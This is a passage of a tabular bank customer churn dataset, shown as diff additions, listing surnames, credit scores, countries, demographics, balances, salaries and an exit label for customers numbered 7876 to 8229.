+7876,15775104,Gomes,697,France,Female,38,1,182065.85,1,1,0,49503.5,0 +7877,15757607,Matveyeva,623,France,Male,45,0,0,1,1,0,196533.72,1 +7878,15793070,Fiorentino,494,Spain,Female,41,2,69974.66,2,1,0,188426.13,1 +7879,15760456,Eberechukwu,731,France,Female,38,10,123711.73,2,1,0,171340.68,1 +7880,15665385,Gibney,657,France,Male,44,6,76495.04,1,1,0,79071.89,0 +7881,15612418,Virgo,744,France,Female,38,9,0,2,0,0,20940.76,0 +7882,15727138,Kulikova,774,Spain,Male,46,9,0,2,1,1,34774.26,0 +7883,15732061,Liu,850,Germany,Female,45,1,121874.89,1,0,0,6865.41,1 +7884,15776051,Kao,551,France,Female,45,6,0,2,1,1,51143.43,0 +7885,15616530,Foran,638,France,Male,36,6,188455.19,1,0,0,47031.4,1 +7886,15632344,Jones,792,France,Female,42,0,99045.93,2,1,0,47160.01,0 +7887,15744979,Fowler,666,France,Female,36,8,0,1,0,1,158666.99,0 +7888,15745433,Conti,716,Germany,Female,30,2,205770.78,2,0,0,65464.66,0 +7889,15683657,Stephenson,594,France,Female,31,0,79340.95,1,1,0,78255.86,0 +7890,15718572,Willis,600,Germany,Male,57,9,138456.03,2,1,1,103548.25,0 +7891,15665783,Ts'ui,565,France,Male,49,7,0,2,1,1,89609.26,0 +7892,15652782,Chibuzo,678,Germany,Male,48,2,101099.9,2,0,1,193476.04,0 +7893,15707025,Fang,648,Spain,Female,31,5,0,2,1,1,5199.02,0 +7894,15647807,Wyckoff,642,France,Male,40,8,109219.83,1,1,0,52827.51,0 +7895,15718281,Muir,706,Germany,Male,67,1,123276.69,2,1,1,86507.88,1 +7896,15660571,Halpern,668,Spain,Male,43,10,113034.31,1,1,1,100423.88,0 +7897,15727857,Flynn,635,Spain,Male,41,1,0,2,1,0,175611.5,0 +7898,15639252,Shao,603,Spain,Male,30,6,129548.5,2,1,1,19282.85,0 +7899,15628144,Soares,635,France,Female,72,4,74812.84,1,0,1,27448.33,0 +7900,15683560,Gallo,642,France,Female,40,7,0,2,1,0,183963.34,0 +7901,15653275,Lei,785,Spain,Female,54,1,0,2,1,0,45113.92,1 +7902,15622182,Daniels,628,Germany,Female,28,3,153538.13,2,1,0,110776.01,0 +7903,15613962,Kenechi,499,France,Female,38,9,0,2,0,1,183042.2,0 +7904,15618437,Singleton,567,Spain,Male,34,10,0,2,0,1,161571.79,0 +7905,15783338,Williams,449,Spain,Male,32,0,155619.36,1,1,1,166692.03,0 +7906,15764491,Greece,701,Spain,Male,35,10,159693.9,2,1,1,71173.64,0 +7907,15712960,Olisanugo,613,Spain,Male,37,3,171653.17,1,0,1,5353.12,0 +7908,15688157,Padovano,683,Germany,Female,39,2,47685.47,2,1,1,86019.48,0 +7909,15579287,Rossi,581,France,Male,35,4,0,2,0,1,86383.82,0 +7910,15570931,Grant,620,France,Male,61,5,0,1,0,0,31641.52,1 +7911,15615177,Ebelegbulam,561,Spain,Male,28,6,123692,1,1,1,70548.96,0 +7912,15809906,Mitchell,558,Germany,Male,26,1,148853.29,2,1,1,24411.02,0 +7913,15652169,Buckley,642,France,Male,35,2,133161.95,1,0,1,122254.86,0 +7914,15649450,Repina,805,Germany,Male,24,6,143221.35,2,1,0,186035.72,0 +7915,15777179,Ellis,687,France,Male,35,9,0,2,0,1,73133.82,0 +7916,15803538,Douglas,695,Spain,Male,56,1,0,3,1,0,187734.49,1 +7917,15610936,Becher,562,France,Male,33,6,0,2,1,0,111590.35,0 +7918,15590094,Nwachukwu,613,Germany,Male,38,9,126265.88,2,0,0,15859.95,0 +7919,15572706,Smith,589,France,Male,37,5,0,1,1,0,61324.87,0 +7920,15634564,Aksyonov,593,Spain,Male,31,8,112713.34,1,1,1,176868.89,0 +7921,15684296,Artyomova,714,France,Male,34,5,141173.03,1,0,1,98896.06,0 +7922,15702293,Medvedeva,588,Spain,Female,35,7,0,2,1,1,108739.15,0 +7923,15642099,Tsui,679,Spain,Male,39,6,0,2,1,0,12266.06,0 +7924,15773273,Runyon,730,Spain,Male,38,5,118866.36,1,1,1,163317.5,0 +7925,15613337,Gallo,833,France,Male,47,2,0,2,1,1,182247.77,0 +7926,15800482,Bradshaw,586,Spain,Female,33,7,0,2,1,1,168261.4,0 +7927,15732644,Evans,567,Spain,Female,54,5,92316.31,2,1,0,158590.66,1 +7928,15713426,Hancock,637,Germany,Male,30,1,122185.53,1,1,0,102566.46,1 +7929,15640789,Butler,711,France,Male,38,4,123345.85,1,1,0,141827.83,0 +7930,15598892,Bradshaw,828,France,Male,30,4,73070.18,2,0,0,161671.15,0 +7931,15606436,Bergamaschi,500,Spain,Male,38,7,0,2,0,0,192013.23,0 +7932,15751227,Ebelegbulam,807,France,Male,47,1,95120.59,1,0,0,127875.1,0 +7933,15812365,Greco,850,France,Male,40,8,102800.65,1,1,0,60811.56,0 +7934,15616088,Lucas,782,France,Female,70,7,97072.42,1,0,1,131177.22,0 +7935,15803886,Barber,629,Spain,Male,31,6,132876.55,1,1,1,130862.11,0 +7936,15587311,Dobbs,582,Spain,Male,33,6,0,2,0,1,72970.93,0 +7937,15617401,Thomson,468,France,Male,22,2,0,2,1,0,28123.99,0 +7938,15775886,Su,670,France,Male,36,3,0,1,1,0,140754.19,1 +7939,15807305,Watkins,805,France,Male,39,2,0,1,0,0,166650.32,0 +7940,15761717,Ch'ien,720,France,Male,26,10,51962.91,2,1,0,45507.24,0 +7941,15628008,Monds,781,Spain,Female,29,6,98759.89,1,0,0,112202.64,0 +7942,15583755,McClemans,592,Germany,Male,33,2,156570.86,1,1,1,37140.2,0 +7943,15661409,Shen,542,France,Female,42,1,0,1,1,1,178256.58,1 +7944,15774250,Gallo,532,France,Male,42,1,159024.71,1,1,0,100982.93,1 +7945,15681476,Foveaux,520,France,Female,39,1,73493.17,1,0,1,109626.13,1 +7946,15654870,Longo,759,France,Female,45,8,0,2,1,1,99251.24,0 +7947,15790448,Calabresi,473,France,Female,35,6,69617.36,1,1,0,143345.69,0 +7948,15785326,Randall,639,Spain,Female,35,5,136526.26,2,1,0,59653.03,0 +7949,15592854,Garcia,705,France,Male,25,3,113736.27,1,0,1,196864.61,0 +7950,15617486,Sullivan,530,France,Male,52,1,106723.28,1,0,0,109960.4,1 +7951,15806796,Higgins,516,Germany,Female,33,10,138847.9,1,1,1,127256.7,0 +7952,15644699,Crawford,850,France,Female,40,0,0,2,1,0,1099.95,0 +7953,15622305,Martin,746,Germany,Female,33,2,107868.14,2,1,1,146192.4,0 +7954,15608209,Currey,622,Germany,Male,33,3,96926.12,2,1,0,48553.77,0 +7955,15626898,Teng,743,France,Male,30,7,77599.23,1,0,0,144407.1,0 +7956,15644297,Austin,732,Germany,Male,38,5,178787.54,1,1,1,195760.53,0 +7957,15731569,Hudson,850,France,Male,81,5,0,2,1,1,44827.47,0 +7958,15582149,Ts'ui,850,Germany,Female,34,3,129668.43,2,1,1,88743.99,0 +7959,15802483,Hancock,686,France,Male,34,6,146178.13,2,1,1,88837.11,0 +7960,15686999,Nicholas,556,France,Female,40,8,0,2,1,0,62112.7,0 +7961,15772479,Napolitano,673,France,Male,37,4,0,2,0,0,163563.07,0 +7962,15778884,Jamieson,809,France,Female,38,2,154763.21,2,1,1,174800.31,0 +7963,15623630,Foster,634,Germany,Female,56,3,116251.24,1,0,1,42429.88,1 +7964,15774316,Moretti,630,France,Male,37,6,0,2,1,1,82647.65,0 +7965,15695097,Chiedozie,564,Germany,Female,30,0,100954.88,2,0,0,134175.15,0 +7966,15645404,Okwukwe,625,France,Female,51,4,124620.01,2,1,0,92243.94,1 +7967,15750574,Lumholtz,677,Spain,Female,34,4,0,2,1,1,6175.53,0 +7968,15636812,Rose,583,France,Male,40,9,112701.04,1,0,0,29213.63,0 +7969,15712068,Wan,592,Spain,Male,45,8,84692.5,1,0,1,67214.02,0 +7970,15652030,De Bernales,637,Germany,Male,49,2,108204.52,1,1,0,169037.84,1 +7971,15577398,Ch'eng,850,France,Male,30,6,86449.39,1,1,1,188809.23,0 +7972,15756848,Edmondson,633,Spain,Male,42,10,0,1,0,1,79408.17,0 +7973,15806929,Ch'ien,751,Germany,Male,36,5,73194.99,1,1,1,89222.66,0 +7974,15656005,Millar,592,Germany,Male,31,7,124593.23,1,1,0,86079.67,0 +7975,15722632,Dickson,716,Germany,Male,50,2,119655.77,1,1,1,12944.17,1 +7976,15794356,Toscani,641,Germany,Male,42,3,121765.37,2,1,1,166516.84,0 +7977,15659656,Pan,849,France,Male,35,4,110837.73,1,0,0,126419.8,0 +7978,15588341,Chigozie,647,Spain,Male,47,10,99835.17,1,0,1,89103.05,0 +7979,15709142,Sagese,608,Germany,Female,30,2,91057.37,2,1,0,132973.17,0 +7980,15627042,Reilly,555,France,Female,26,7,0,2,1,0,93122.41,0 +7981,15627517,Taylor,497,Spain,Male,27,7,149400.27,1,0,0,167522.19,0 +7982,15803032,Yen,599,Germany,Male,38,9,89111.63,1,0,0,157239.6,0 +7983,15665129,Kapustin,545,Germany,Male,33,1,132527.9,2,0,1,107429.71,0 +7984,15628272,Singh,774,France,Female,36,9,114997.42,1,1,0,75304.09,0 +7985,15678206,Yeh,464,France,Male,46,6,161798.53,1,1,0,182944.47,0 +7986,15678427,Genovese,696,Germany,Female,27,2,96129.32,2,1,1,5983.7,0 +7987,15678067,Boyle,667,Spain,Male,45,3,0,2,0,0,163655.01,0 +7988,15793331,Blair,812,France,Male,32,5,133050.97,2,1,0,89385.92,0 +7989,15699532,Okagbue,516,France,Male,51,8,120124.35,2,0,1,168773.54,0 +7990,15605827,Khan,645,France,Male,39,8,0,2,0,0,96864.36,0 +7991,15643635,Robertson,664,Spain,Male,32,5,133705.74,1,0,0,134455.84,0 +7992,15787710,Tikhonov,427,Spain,Female,39,9,0,2,1,0,28368.37,0 +7993,15614137,MacDonald,685,France,Female,40,7,0,2,1,0,103898.59,0 +7994,15754494,Ah Mouy,585,France,Female,33,4,152805.05,1,1,0,63239.65,0 +7995,15713440,Barese,519,Germany,Female,21,1,151701.45,3,1,1,170138.68,1 +7996,15803479,Winter-Irving,708,France,Female,67,1,0,2,0,1,3837.08,0 +7997,15709639,Wilson,717,France,Female,22,5,112465.06,1,1,1,92977.75,0 +7998,15601719,Fiorentino,465,Germany,Male,24,6,156007.09,1,1,0,191368.37,0 +7999,15772482,Iloerika,829,Germany,Male,28,3,132405.52,3,1,0,104889.2,1 +8000,15591489,Davison,826,France,Male,26,5,142662.68,1,0,0,60285.3,0 +8001,15629002,Hamilton,747,Germany,Male,36,8,102603.3,2,1,1,180693.61,0 +8002,15798053,Nnachetam,707,Spain,Male,32,9,0,2,1,0,126475.79,0 +8003,15753895,Blue,590,Spain,Male,37,1,0,2,0,0,133535.99,0 +8004,15595426,Madukwe,603,Spain,Male,57,6,105000.85,2,1,1,87412.24,1 +8005,15645815,Mills,615,France,Male,45,5,0,2,1,1,164886.64,0 +8006,15632848,Ferrari,634,France,Female,36,1,69518.95,1,1,0,116238.39,0 +8007,15703068,Nixon,716,Germany,Male,41,8,126145.54,2,1,1,138051.19,0 +8008,15791513,Manfrin,647,France,Male,41,4,138937.35,1,1,1,101617.64,1 +8009,15587210,McCartney,591,Germany,Female,44,10,113581.98,1,1,0,1985.41,0 +8010,15793803,Robinson,574,France,Male,34,1,112572.39,1,0,0,165626.6,0 +8011,15787756,Nkemdirim,467,Germany,Male,51,10,114514.71,2,1,0,177784.68,1 +8012,15723437,Sal,701,France,Female,35,2,0,2,1,1,65765.22,0 +8013,15702715,Kao,747,France,Female,34,10,0,2,1,1,50759.8,0 +8014,15809872,Ikechukwu,650,France,Male,32,2,84906.45,1,1,0,163216.48,0 +8015,15644295,Hargreaves,731,Spain,Female,39,2,126816.18,1,1,1,74850.93,0 +8016,15778694,Sievier,638,Germany,Female,26,1,105249.76,2,1,1,23491.09,0 +8017,15759555,Murphy,569,Spain,Male,41,2,0,2,1,0,134272.57,0 +8018,15631406,Munro,459,Germany,Male,50,5,109387.9,1,1,0,155721.15,0 +8019,15616676,Donnelly,632,Germany,Male,23,3,122478.51,1,1,0,147230.77,1 +8020,15771154,North,683,France,Female,73,8,137732.23,2,1,1,133210.44,0 +8021,15669491,Cruz,850,France,Female,46,2,157866.77,1,1,1,18986.12,0 +8022,15697691,Sinclair,512,France,Female,41,6,0,1,1,1,100507.81,0 +8023,15665180,Vasiliev,616,France,Female,31,3,136789.14,1,1,0,59346.4,1 +8024,15752588,Vasilyeva,664,France,Male,36,1,0,2,1,1,95372.64,0 +8025,15743051,Hamilton,694,France,Male,30,10,144684.03,1,1,1,31805.49,0 +8026,15571873,Sung,655,France,Male,24,9,107065.31,1,1,1,51959.82,0 +8027,15679743,Genovesi,607,France,Female,33,8,91301.72,1,0,1,130824.57,0 +8028,15769412,Atkinson,684,Spain,Male,39,4,207034.96,2,0,0,157694.76,1 +8029,15775124,Watterston,763,Spain,Male,37,8,0,2,1,1,933.38,0 +8030,15732113,Butters,671,Spain,Male,50,8,0,1,0,1,2560.11,0 +8031,15578141,Chien,592,Spain,Male,38,3,0,1,1,1,12905.89,1 +8032,15595874,Gorbunova,666,Spain,Female,36,6,0,2,1,0,176692.87,0 +8033,15755642,Bulgakov,667,France,Male,34,5,0,2,1,1,102908.63,0 +8034,15576526,Steele,850,Spain,Male,36,6,0,2,0,1,41291.05,0 +8035,15792489,Polyakova,622,Spain,Male,42,9,0,2,1,0,119127.06,0 +8036,15733705,Bull,577,France,Female,30,8,92472.1,2,0,1,126434.61,0 +8037,15807221,Weaver,555,Spain,Male,21,1,0,2,0,0,103901.35,0 +8038,15573045,Earl,547,France,Male,62,10,127738.75,2,1,1,85153,0 +8039,15756824,Giordano,613,Germany,Female,50,5,101242.98,2,1,0,12493.61,0 +8040,15773520,Begg,672,France,Female,43,4,92599.55,2,1,1,167336.78,0 +8041,15627439,Pickering,624,Spain,Female,36,10,0,2,0,1,186180.42,0 +8042,15701439,Fanucci,698,Spain,Female,50,1,0,4,1,0,88566.9,1 +8043,15785352,Chang,606,France,Male,37,6,82373.94,1,0,0,172526.9,1 +8044,15616525,Sopuluchi,720,Spain,Male,31,4,141356.47,1,0,0,137985.69,0 +8045,15717489,Martin,835,France,Male,23,9,0,1,1,0,19793.73,1 +8046,15795737,McNaughtan,771,Spain,Female,47,3,72664,2,1,1,107874.39,0 +8047,15693877,Stewart,811,France,Female,47,3,123365.34,2,0,0,171995.34,0 +8048,15576111,Reagan,734,Germany,Male,33,5,121898.58,1,1,0,61829.89,0 +8049,15595713,Heller,548,Spain,Male,33,6,0,1,1,1,31728.35,0 +8050,15808868,Nwokeocha,652,France,Female,31,3,103696.97,3,0,0,155221.05,1 +8051,15708193,Liu,707,France,Male,33,2,0,2,0,0,130866.95,0 +8052,15697801,Sokolova,605,Germany,Female,56,1,74129.18,2,1,1,62199.78,1 +8053,15770121,Bancroft,623,France,Female,34,9,0,1,1,0,24255.21,0 +8054,15800524,Nnanna,686,Germany,Male,29,3,185379.02,1,1,0,64679.07,0 +8055,15686236,Trevisani,525,Germany,Female,47,1,118087.68,1,1,0,88120.78,1 +8056,15659807,Nwachinemelu,657,Spain,Male,41,8,109402.13,1,1,1,66463.62,0 +8057,15736078,Ting,730,Germany,Female,33,7,130367.87,1,1,0,15142.1,1 +8058,15620836,Lo Duca,816,Germany,Female,34,2,108410.87,2,1,0,102908.91,0 +8059,15698184,Marshall,484,France,Female,50,2,90408.16,2,0,0,48170.57,0 +8060,15717643,Band,728,France,Female,34,6,90425.15,2,1,1,11597.69,0 +8061,15776596,Ferri,730,Spain,Female,39,6,140094.59,1,1,0,172450.04,1 +8062,15814757,Carter,477,Spain,Male,31,9,0,2,0,1,184061.17,0 +8063,15812607,Wilson,663,Germany,Female,46,6,95439.4,1,1,1,21038.58,1 +8064,15663888,Connor,549,Germany,Male,34,6,204017.4,2,1,0,109538.35,0 +8065,15748882,Reid,714,Spain,Male,29,9,0,2,1,0,129192.55,0 +8066,15690829,Sandefur,430,Germany,Male,49,3,137115.16,1,1,0,146516.86,1 +8067,15695819,Bidwill,504,Germany,Male,43,5,134740.19,2,1,0,181430.91,0 +8068,15696834,Cone,530,France,Female,29,5,0,2,0,0,121451.21,0 +8069,15797710,Saunders,619,Germany,Male,29,4,98955.87,1,0,1,131712.51,0 +8070,15700654,Liardet,617,Germany,Male,44,9,49157.09,2,1,0,53294.17,0 +8071,15583764,Wilkes,791,Germany,Male,31,1,130240.33,1,0,0,96546.55,0 +8072,15688849,Martin,609,France,Male,48,1,108019.27,3,1,1,184524.65,1 +8073,15661473,Boni,780,Germany,Male,51,4,126725.25,1,1,0,195259.31,1 +8074,15601030,Patel,777,Germany,Female,34,5,96693.66,1,1,1,172618.52,0 +8075,15789557,Howell-Price,817,Germany,Female,27,7,129810.6,1,1,1,59259.44,0 +8076,15745250,Simpson,850,France,Male,58,8,156652.13,1,0,0,25899.21,1 +8077,15590349,Rowland,732,France,Female,36,9,0,1,0,0,3749,1 +8078,15741693,Barnard,693,France,Male,40,4,130661.96,1,1,1,101918.96,0 +8079,15618446,Nnonso,576,France,Female,50,8,0,2,1,1,57802.62,0 +8080,15766552,Rossi,643,France,Male,37,6,0,2,0,0,142454.77,0 +8081,15668775,Pendred,757,France,Male,47,3,130747.1,1,1,0,143829.54,0 +8082,15757895,Martin,569,Germany,Male,30,6,106629.49,1,0,1,44114.88,0 +8083,15774551,K?,772,Spain,Male,36,3,112029.83,1,1,1,186948.35,0 +8084,15684011,Miller,576,Germany,Male,29,7,130575.26,1,0,1,173629.78,0 +8085,15736146,Afamefula,608,Germany,Male,28,4,96679.71,1,1,1,49133.45,0 +8086,15656286,Sims,794,France,Male,33,0,0,2,0,0,178122.71,0 +8087,15774847,Knight,593,France,Male,50,6,171740.69,1,0,0,20893.61,0 +8088,15619340,Obijiaku,597,Spain,Male,38,1,0,2,1,0,41303.29,0 +8089,15815656,Hopkins,541,Germany,Female,39,9,100116.67,1,1,1,199808.1,1 +8090,15623357,Onio,692,Germany,Male,24,2,120596.93,1,0,1,180490.53,0 +8091,15601324,Black,697,France,Female,48,1,0,2,1,1,87400.53,0 +8092,15715510,Eluemuno,768,France,Male,29,2,95984.69,2,1,1,73686.75,0 +8093,15663770,Doyle,802,France,Male,38,1,142557.11,1,1,1,172497.73,0 +8094,15779267,Onyemere,584,France,Male,47,5,0,2,1,0,89286.29,0 +8095,15597957,Rahman,614,Spain,Male,66,2,0,2,0,1,180082.7,0 +8096,15584620,Su,850,Germany,Female,36,6,143644.16,1,1,0,22102.25,1 +8097,15750772,Walker,671,France,Female,38,6,132129.72,1,0,1,76068.95,0 +8098,15706557,Ferguson,626,France,Female,52,0,0,2,1,0,32159.46,1 +8099,15594391,Samaniego,770,France,Female,68,2,183555.24,1,0,0,159557.28,1 +8100,15661656,Onwumelu,633,France,Male,38,2,91902.56,2,1,1,107673.35,0 +8101,15631217,Young,663,France,Male,40,6,156218.19,1,0,1,33607.72,0 +8102,15588955,Mazzi,581,Germany,Female,43,5,93259.57,3,1,0,141035.65,1 +8103,15758252,Toscano,561,Germany,Female,45,2,168085.38,2,0,1,115719.08,0 +8104,15740223,Walton,479,Germany,Male,51,1,107714.74,3,1,0,86128.21,1 +8105,15805413,Chiang,769,France,Female,31,6,117852.26,2,1,0,147668.64,0 +8106,15635116,Burgos,659,Spain,Male,60,2,0,1,1,0,177480.45,1 +8107,15764892,Spinelli,590,Spain,Female,51,10,84474.62,2,1,1,190937.09,0 +8108,15795936,Lung,560,France,Male,50,3,0,2,1,0,84531.79,0 +8109,15655232,Noble,437,Germany,Male,35,6,126803.34,2,1,1,161133.4,0 +8110,15640133,Pai,661,France,Female,34,0,0,2,1,0,185555.63,0 +8111,15751524,Chigozie,677,Germany,Female,36,10,68806.84,1,1,0,33075.24,0 +8112,15670552,Peavy,560,France,Female,31,3,115141.18,1,1,0,39806.75,0 +8113,15623966,Yermakov,578,France,Female,35,2,0,2,0,1,26389.92,0 +8114,15752193,Burton,421,Spain,Male,34,6,90723.36,1,1,1,12162.76,0 +8115,15607269,Costa,492,Germany,Female,49,2,151249.45,2,1,1,167237.94,0 +8116,15700752,Pugliesi,545,France,Female,32,6,0,2,1,1,52067.37,0 +8117,15777901,Lindell,640,Germany,Female,43,9,94752.49,1,1,0,184006.36,1 +8118,15639117,Sorenson,624,Spain,Female,34,6,0,1,1,0,582.59,1 +8119,15720203,Arcuri,577,Spain,Male,28,7,0,1,1,0,143274.41,0 +8120,15586236,Banks,704,France,Male,31,5,132084.66,3,1,1,54474.48,1 +8121,15676645,Parry,523,France,Male,45,5,0,2,1,1,121428.2,0 +8122,15715988,Cockett,793,France,Male,35,2,0,2,1,1,79704.12,0 +8123,15603749,Galkina,564,France,Female,53,2,45472.28,1,1,1,41055.71,1 +8124,15608956,Su,711,France,Male,33,1,0,1,0,0,41590.4,0 +8125,15733872,Marino,791,Germany,Female,33,10,130229.71,2,0,0,54019.93,1 +8126,15666982,Spears,629,Germany,Female,38,9,123948.85,1,1,0,76053.07,0 +8127,15602647,Cunningham,729,Germany,Male,39,6,127415.85,1,1,1,184977.2,1 +8128,15623063,Taylor,651,Germany,Male,35,8,110067.71,1,1,0,127678.95,1 +8129,15682928,Chiazagomekpere,695,Spain,Male,39,4,65521.2,1,1,1,1243.97,0 +8130,15729246,Hardacre,847,Spain,Male,31,5,0,2,1,1,76326.67,0 +8131,15588928,Maslow,704,France,Male,47,5,0,2,1,1,145338.61,0 +8132,15803352,Scott,613,Germany,Male,33,3,155736.42,2,1,1,57751.21,0 +8133,15607485,Wakelin,692,Spain,Female,29,4,0,2,0,0,138880.24,0 +8134,15656249,Esposito,720,France,Female,34,3,118307.57,2,1,1,136120.29,0 +8135,15761783,Shah,577,France,Male,41,6,0,1,1,1,167621.18,0 +8136,15716605,Chukwufumnanya,710,Germany,Female,24,7,103099.17,2,1,0,173276.62,0 +8137,15757425,Fleming,716,France,Female,38,1,0,2,1,1,99661.46,0 +8138,15603096,Lori,410,France,Male,33,6,125789.69,1,0,0,66333.56,1 +8139,15588580,Kennedy,584,Germany,Female,36,4,109646.83,1,1,1,70240.79,0 +8140,15770539,Walters,792,France,Male,30,1,127187.86,1,1,1,113553.42,0 +8141,15572022,Han,605,France,Female,36,6,0,1,0,1,690.84,0 +8142,15571843,Lawrence,486,Spain,Male,24,1,0,1,1,0,98802.76,0 +8143,15752502,Cooke,615,France,Male,41,4,130385.82,1,0,1,130661.95,0 +8144,15609058,Wan,676,France,Male,23,1,107787.47,1,0,1,116378.82,0 +8145,15775108,Lo Duca,571,France,Male,34,1,99325.04,2,0,1,186052.15,0 +8146,15708904,Yermakova,850,France,Female,37,9,0,1,0,0,100101.06,0 +8147,15600086,Combs,717,France,Male,48,7,123764.95,1,1,1,169952.82,0 +8148,15814675,Chien,642,Germany,Female,39,8,128264.03,1,1,0,61792.76,1 +8149,15572777,Meng,780,Spain,Male,47,7,86006.21,1,1,1,37973.13,0 +8150,15585106,Calabresi,492,Germany,Female,38,8,57068.43,2,1,0,188974.81,0 +8151,15738936,Stevenson,760,Germany,Male,29,5,103607.24,2,0,1,86334.64,0 +8152,15750970,Davidson,500,Spain,Male,40,1,99004.24,1,1,1,152845.99,0 +8153,15725772,Ch'in,654,Spain,Female,36,2,0,2,1,1,146652.11,0 +8154,15692106,Rose,606,Spain,Female,25,3,147386.72,3,1,0,45482.04,1 +8155,15791533,Ch'ien,367,Spain,Male,42,6,93608.28,1,1,0,168816.73,1 +8156,15715715,Artyomova,799,Spain,Male,38,2,0,2,1,1,59297.34,0 +8157,15785576,Mayrhofer,434,Germany,Male,71,9,119496.87,1,1,0,125848.88,0 +8158,15798834,Yefremov,719,Spain,Female,32,7,0,1,0,0,76264.27,0 +8159,15744127,Kosovich,641,France,Female,37,2,0,2,1,0,3939.87,0 +8160,15637427,Lu,461,Spain,Female,25,6,0,2,1,1,15306.29,0 +8161,15576990,Taplin,790,Germany,Female,25,5,152885.77,1,1,0,58214.79,0 +8162,15615352,Ebelechukwu,588,France,Male,31,4,99607.37,2,0,1,35877.03,0 +8163,15647333,Fleming,621,France,Male,27,4,137003.68,1,1,0,21254.06,0 +8164,15572050,Yefimov,768,Germany,Male,48,3,122831.58,1,1,1,24533.89,1 +8165,15581370,Andreyeva,681,Spain,Male,38,2,99811.44,2,1,0,23531.5,0 +8166,15813503,Pickering,606,Spain,Male,37,8,154712.58,2,1,0,89099.18,0 +8167,15769783,Allan,542,Spain,Male,37,8,0,1,1,1,807.06,0 +8168,15793135,Wang,713,Germany,Female,24,7,147687.24,1,1,1,121592.5,0 +8169,15599182,Reynolds,597,Spain,Female,33,2,0,2,1,1,4700.66,0 +8170,15689517,Hales,635,France,Male,27,3,127009.83,1,1,0,161909.95,0 +8171,15641366,Y?an,599,Germany,Male,61,1,124737.96,1,0,1,90389.61,1 +8172,15588859,Rowley,496,Spain,Female,44,0,179356.28,2,1,0,2919.21,1 +8173,15732293,Chia,759,Spain,Male,31,8,0,2,1,1,99086.74,0 +8174,15568032,Moore,757,Germany,Male,31,1,127320.36,3,1,0,163170.32,0 +8175,15623525,Copeland,564,Spain,Male,31,0,125175.58,1,1,1,72757.33,0 +8176,15606601,Rishel,561,France,Female,22,6,186788.96,2,1,0,73286.8,0 +8177,15800811,Wan,702,France,Male,40,3,148556.74,1,0,1,146056.29,0 +8178,15610711,Eluemuno,678,Germany,Female,40,8,128644.46,1,0,0,167673.37,0 +8179,15809654,Hsia,707,France,Female,46,7,127476.73,2,1,1,146011.55,0 +8180,15576077,Kelly,610,France,Female,27,9,159561.93,1,0,1,103381.47,0 +8181,15643378,Muir,744,France,Male,42,1,112419.92,1,1,1,83022.92,0 +8182,15566790,McIntyre,598,France,Male,28,8,129991.76,2,0,1,46041.08,0 +8183,15774402,Donaldson,562,Spain,Male,36,5,0,1,0,1,182843.24,0 +8184,15694641,Wright,621,Spain,Female,59,2,0,2,1,1,171364.18,0 +8185,15605916,Uvarova,659,France,Female,50,3,0,1,1,0,183399.12,1 +8186,15812356,Doherty,722,Germany,Female,40,6,89175.06,2,0,1,152883.95,0 +8187,15644179,Allen,606,France,Female,39,3,0,2,1,0,50560.45,1 +8188,15771674,Ma,603,Spain,Female,39,5,162390.52,2,1,0,54702.66,0 +8189,15623314,Tucker,506,Germany,Female,59,3,190353.08,1,1,0,78365.75,0 +8190,15613292,Ch'eng,715,France,Male,21,8,0,2,1,0,68666.63,0 +8191,15813871,Hs?,690,France,Male,47,2,0,2,1,0,151375.73,0 +8192,15759480,H?,644,France,Female,40,10,139180.97,1,1,1,19959.67,0 +8193,15587712,Chimaijem,589,France,Male,36,8,114435.47,1,1,0,26955.72,0 +8194,15671165,Esomchi,592,France,Female,66,5,149950.19,1,1,1,76267.59,0 +8195,15620746,Lorenzo,632,France,Male,42,4,126115.6,1,1,0,100998.5,0 +8196,15706537,Pirogov,577,Germany,Female,59,7,111396.97,1,0,1,191070.01,0 +8197,15589312,Larkin,588,France,Male,30,3,115007.08,1,0,0,176858.5,0 +8198,15741180,Eddy,617,France,Male,54,6,102141.9,1,1,1,45325.26,0 +8199,15733888,Sells,668,Spain,Female,36,3,133686.52,1,1,0,190958.48,1 +8200,15798532,Crawford,810,France,Male,32,9,120879.73,2,0,1,78896.59,0 +8201,15577359,Bezrukov,767,Spain,Male,47,5,0,1,1,0,121964.46,1 +8202,15614936,Mancini,718,Spain,Female,49,10,82321.88,1,0,1,11144.4,0 +8203,15747647,Iadanza,589,Spain,Female,27,4,0,2,1,0,144181.48,0 +8204,15588566,Wilkinson,778,Spain,Male,33,5,116474.28,2,1,1,32757.55,0 +8205,15570141,P'eng,724,France,Female,34,3,132352.69,1,1,0,80320.3,0 +8206,15800793,St Clair,477,Germany,Female,39,4,182491.57,1,1,0,185830.72,0 +8207,15572415,Preston,580,France,Male,34,6,0,2,1,1,160095.31,0 +8208,15635125,Findlay,566,Spain,Male,63,2,120787.18,2,1,1,52198.84,0 +8209,15636551,Nixon,711,France,Female,29,3,130181.47,2,1,0,31811.44,0 +8210,15600912,Gorshkov,706,Germany,Male,32,5,88348.43,2,1,1,104181.78,0 +8211,15768476,Chukwubuikem,703,Spain,Male,31,6,0,2,1,1,67667.19,0 +8212,15650266,Medvedeva,679,Germany,Male,39,2,146186.28,2,1,1,193974.47,0 +8213,15621004,Chukwuhaenye,603,France,Male,32,7,0,1,1,0,198055.94,1 +8214,15748352,Endrizzi,598,Spain,Male,34,0,104488.17,1,0,1,43249.67,0 +8215,15788920,Ch'ang,836,Germany,Female,32,4,109196.67,2,1,0,55218.02,0 +8216,15743236,Piccio,687,France,Female,61,7,80538.56,1,1,0,131305.37,1 +8217,15637717,Lockington,704,Germany,Male,41,4,109026.8,2,1,1,43117.1,0 +8218,15635500,Seleznyov,605,Germany,Male,75,2,61319.63,1,0,1,186655.11,0 +8219,15634792,Weston,516,France,Female,40,9,0,2,0,1,33266.29,0 +8220,15607560,Groom,572,France,Female,39,2,0,2,1,1,555.28,0 +8221,15727177,Manfrin,557,France,Male,42,6,177822.03,1,1,0,150944.31,1 +8222,15774358,Robertson,443,Germany,Male,59,4,110939.3,1,1,0,72846.58,1 +8223,15791304,Ch'ang,604,Germany,Male,25,7,165413.43,1,1,1,35279.74,0 +8224,15603328,Lucchesi,483,France,Male,27,1,77805.66,1,1,1,2101.89,0 +8225,15804937,Cambage,702,France,Male,50,3,0,2,0,0,94949.84,0 +8226,15804142,Tan,670,Spain,Female,57,3,175575.95,2,1,0,99061.75,1 +8227,15608845,Tao,804,Spain,Female,38,3,124197.22,1,1,0,74692.06,0 +8228,15702434,Hsieh,850,France,Female,30,3,0,2,1,0,116692.8,0 +8229,15632609,Burdekin,554,France,Female,39,10,160132.75,1,1,0,32824.15,0 